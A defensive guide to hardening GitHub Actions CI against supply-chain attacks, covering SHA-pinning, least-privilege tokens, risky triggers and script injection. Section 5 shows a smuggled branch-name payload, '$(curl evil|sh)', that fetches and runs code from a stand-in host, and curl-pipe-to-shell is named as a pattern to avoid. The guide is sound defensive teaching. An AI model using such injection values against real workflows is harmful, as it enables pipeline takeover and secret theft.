Your CI runs third-party code with your repo's write token and your secrets, on every push — and often on a timer with nobody watching. Pin it to immutable commits, scope its permissions to the floor, and never let a re-taggable action publish as you.

CI is now a primary supply-chain target, not an afterthought. A GitHub Actions workflow checks out your code, holds GITHUB_TOKEN (and whatever secrets you've added), and frequently runs uses: steps you don't control. If one of those actions is compromised — or your workflow can be tricked into running attacker input — the blast radius is "everything your CI can touch": push access, releases, package publishing, cloud creds via OIDC. Several incidents in this tracker landed exactly here: Megalodon (mass workflow injection), elementary-data (Actions script-injection → PyPI/GHCR), Comment-and-Control (PR-triggered injection), and the TanStack Mini Shai-Hulud CI-pipeline compromise.

Read first

1. Pin every action to a full commit SHA — not a tag

A version tag (@v4, @main) is mutable: the publisher (or whoever steals their token) can move it to point at new code, and your next run silently executes it. This is precisely how the 2025 tj-actions/reviewdog retag attacks worked — a popular action's tag was repointed at credential-stealing code and ran in thousands of pipelines.

# ❌ mutable — a retag changes what runs, with no diff in your repo
- uses: actions/checkout@v4
- uses: peaceiris/actions-gh-pages@v3

# ✅ immutable — the SHA can't be moved; keep the version in a comment
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: peaceiris/actions-gh-pages@<full-40-hex-sha> # v4.0.0
  • Resolve a tag to its commit: gh api repos/<owner>/<action>/commits/<tag> --jq .sha.
  • Automate the conversion with pinact (pinact run rewrites every uses: to a SHA + version comment).
  • Keep the pins current with Dependabot (package-ecosystem: github-actions) — it understands SHA pins and bumps them with the matching version in the PR.
  • This applies to all publishers. First-party actions/* are lower-probability targets, but "reputable" is not "immutable" — pin them too.

2. Never hand a re-taggable third-party action a write token

The worst single pattern: a third-party action on a floating tag that receives secrets.GITHUB_TOKEN (or any secret) under a write permission. A retag of that tag runs attacker code with your write creds. If you use a third-party deploy/publish action (e.g. peaceiris/actions-gh-pages), pin it to a SHA and give the job the minimum permission it needs — or replace it with a first-party equivalent (actions/deploy-pages for Pages).

3. Minimize permissions: — the default token is too broad

If a workflow has no permissions: block, the job inherits the repo's default GITHUB_TOKEN scope, which can be read/write across contents, packages, and more. Set least privilege explicitly. A job-level block replaces the top-level one, so scope each job to exactly what it does:

permissions:
  contents: read          # safe default for every job

jobs:
  build:
    # inherits contents: read — enough to checkout + build
  deploy:
    permissions:           # only the deploy job gets these
      pages: write
      id-token: write

Rule of thumb: contents: read everywhere, and add a single write scope only on the one job that needs it.

4. Treat pull_request_target, workflow_run, and issue_comment as dangerous

These triggers run with the base repo's secrets and a write token, but can be influenced by untrusted forks/PRs/comments. The classic "Pwn Request": a workflow checks out the PR head (attacker code) and then runs it (build/test) with secrets in scope. Don't. If you must process PR content, do it in a pull_request job with no secrets, or split into a privileged job that only consumes trusted artifacts. See Comment-and-Control for the PR-injection pattern.

5. Don't interpolate untrusted input into run: shells

${{ github.event.* }} (PR titles, branch names, issue bodies, workflow_dispatch inputs) expanded directly into a run: block is script injection — the value becomes shell. Pass it through env: and quote it:

# ❌ injection: a branch named "$(curl evil|sh)" executes
- run: echo "Building ${{ github.event.inputs.slug }}"
# ✅ value is data, never parsed as shell
- env:
    SLUG: ${{ github.event.inputs.slug }}
  run: echo "Building $SLUG"

6. Watch scheduled jobs that hold write tokens

A workflow on schedule: with contents: write (or pull-requests: write) is the highest-value target there is: a retagged action runs there automatically, with credentials, no human in the loop. Scrapers/refresh jobs that commit data back are the common case. Pin their actions hardest, give them the narrowest write scope, and prefer opening a PR (reviewable) over pushing to main.

7. Don't fetch-and-run code in CI

No curl … | bash, no pip install/npx from a raw URL, no installing an unpinned tool mid-job. Install only from committed, pinned manifests (npm ci, pip install --require-hashes -r …), and pin any CLI you download to a version + checksum. Each unpinned fetch is a fresh "run the latest from the internet" trigger inside your trusted, secret-holding environment.

8. Kill long-lived publish tokens — use OIDC / trusted publishing

A publish token in secrets is a standing liability. Prefer short-lived OIDC: npm trusted publishing, PyPI Trusted Publishing, and cloud OIDC (id-token: write → assume-role) instead of static keys. See npm-hardening.md.

9. Scan the workflows themselves

  • zizmor in pre-commit/CI — flags unpinned actions, injection sinks, dangerous triggers, over-broad permissions.
  • StepSecurity Harden-Runneregress-policy: block with an allowlist catches a compromised step phoning home.
  • OpenSSF Scorecard — scores Pinned-Dependencies, Token-Permissions, Dangerous-Workflow and publishes a badge.

What this stops

Attack Mitigation
Action retag (tj-actions/reviewdog class) SHA-pin every uses: (§1) + Dependabot
Third-party action exfiltrates your token SHA-pin + least-priv permissions (§1, §2, §3)
Pwn Request (untrusted PR code runs with secrets) avoid pull_request_target checkout+exec (§4)
Template/script injection via event input pass via env: + quote (§5)
Compromised cron job pushing malware narrow write scope + PR-not-push on scheduled jobs (§6)
Stolen publish token republishes your package OIDC / trusted publishing, no static tokens (§8)
curl\|bash / unpinned tool fetch in CI install from pinned manifests only (§7)

What it doesn't stop

  • A first-party action whose upstream is compromised and not yet known-bad while your pin still points at the malicious commit — SHA-pinning makes the change visible and reviewable (it's a Dependabot PR, not a silent retag), but you still have to read the diff.
  • A workflow that's correctly pinned and scoped but runs a build script that itself pulls a compromised dependency — that's the package-manager surface; pair this guide with npm-hardening.md and the package-vetting checklist.